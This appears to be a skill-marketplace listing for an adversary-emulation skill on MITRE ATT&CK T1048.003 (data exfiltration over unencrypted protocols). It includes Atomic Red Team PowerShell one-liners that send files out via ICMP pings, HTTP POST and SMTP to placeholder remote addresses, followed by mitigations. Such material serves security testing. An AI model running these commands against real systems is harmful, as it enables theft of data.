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Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.
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インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。
SOC 職業分類に基づく
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npx skills add https://github.com/CyberStrikeus/CyberStrike --skill t1048-003-exfiltration-over-unencrypted-non-c2-protocolコマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
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SKILL.md を表示中
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
| name | T1048.003_exfiltration-over-unencrypted-non-c2-protocol |
| description | Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. |
| category | client-side |
| version | 18.1 |
| author | cyberstrike-official |
| tags | ["mitre-attack","enterprise","t1048.003","exfiltration","esxi","linux","macos","network-devices","windows","sub-technique"] |
| technique_id | T1048.003 |
| tactic | exfiltration |
| all_tactics | ["exfiltration"] |
| platforms | ["ESXi","Linux","macOS","Network Devices","Windows"] |
| mitre_url | https://attack.mitre.org/techniques/T1048/003 |
| tech_stack | ["esxi","linux","macos","network devices","windows"] |
| cwe_ids | ["CWE-200"] |
| chains_with | ["T1048","T1048.001","T1048.002"] |
| prerequisites | ["T1048"] |
| severity_boost | {"T1048":"Chain with T1048 for deeper attack path","T1048.001":"Chain with T1048.001 for deeper attack path","T1048.002":"Chain with T1048.002 for deeper attack path"} |
Sub-technique of: T1048
Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.
Platforms: ESXi, Linux, macOS, Network Devices, Windows
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
A firewall rule (ipfw,pf,iptables or firewalld) will be needed to allow exfiltration on port 1337.
Upon successful execution, sh will be used to make a directory (/tmp/victim-staging-area), write a txt file, and host the directory with Python on port 1337, to be later downloaded.
Supported Platforms: macos, linux
Exfiltration of specified file over ICMP protocol.
Upon successful execution, powershell will utilize ping (icmp) to exfiltrate notepad.exe to a remote address (default 127.0.0.1). Results will be via stdout.
Supported Platforms: windows
$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", 1500, $Data) }
Exfiltration of specified file over DNS protocol.
Supported Platforms: linux
Exfiltration of specified file over HTTP. Upon successful execution, powershell will invoke web request using POST method to exfiltrate notepad.exe to a remote address (default http://127.0.0.1). Results will be via stdout.
Supported Platforms: windows
$content = Get-Content #{input_file}
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body $content
Exfiltration of specified file over SMTP. Upon successful execution, powershell will send an email with attached file to exfiltrate to a remote address. Results will be via stdout.
Supported Platforms: windows
Send-MailMessage -From #{sender} -To #{receiver} -Subject "T1048.003 Atomic Test" -Attachments #{input_file} -SmtpServer #{smtp_server}
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to Exfiltration Over Unencrypted Non-C2 Protocol by examining the target platforms (ESXi, Linux, macOS).
Assess Existing Defenses: Review whether mitigations for T1048.003 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level.
Data loss prevention can detect and block sensitive data being sent over unencrypted protocols.
Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network.
Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network.
| Finding | Severity | Impact |
|---|---|---|
| Exfiltration Over Unencrypted Non-C2 Protocol technique applicable | Medium | Exfiltration |
| CWE ID | Title |
|---|---|
| CWE-200 | Exposure of Sensitive Information |